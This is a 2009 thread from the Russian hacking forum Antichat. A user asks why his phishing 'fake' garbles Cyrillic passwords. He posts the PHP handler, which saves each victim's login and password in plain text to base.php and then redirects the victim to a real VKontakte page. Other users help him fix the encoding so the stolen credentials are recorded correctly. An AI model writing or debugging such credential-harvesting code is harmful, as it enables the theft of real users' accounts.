Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Вопрос по PHP Фейк не записывает в базу русские буквы (https://forum.antichat.xyz/showthread.php?t=113875)

cnd 31.03.2009 10:20

Вопрос по PHP Фейк не записывает в базу русские буквы
 
Если в пароле у юзера есть русские буквы то обработчик записывает в базу, что то типо такого îëÿ333
Как с этим бороться?

MuXaJIbI4 31.03.2009 10:22

а зачем пароль записывать в открытом виде вообще в базу .... лучше записывать его хеш

Nightmarе 31.03.2009 10:33

Кодировку исправь ;)

m0Hze 31.03.2009 10:58

А проще кодируй в бейс64,и записывай.

cnd 31.03.2009 10:59

а как там кодировку менять?

cnd 31.03.2009 11:01

люди я нулевой в ПХП как именно там сделать?

cnd 31.03.2009 11:03

Вот файл обработчик:
<?PHP
$Login = $_POST['login']; // Ëîãèí
$Pass = $_POST['pass']; // Ïàðîëü

$log = fopen("base.php","a+"); //îòêðûâàåì ôàéë áàçû
fwrite($log,"\n $Login:$Pass \n"); //çàïèñûâàåì âñ¸
fclose($log); //çàêðûâàåì
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/id10414'></head></html>";
?>

записывает в base.php

Pashkela 31.03.2009 11:12

перед <?PHP попробуй просто добавить:

<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">

cnd 31.03.2009 11:19

Цитата:

Сообщение от Pashkela
перед <?PHP попробуй просто добавить:

<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">

неа непомогает

Pashkela 31.03.2009 11:20

в смысле не сюда, а на саму страницу фейка, с которой у тебя идет передресация на этот код php, у тебя же где есть поля для ввода пароля и прочее - вот туда вставь


Время: 13:24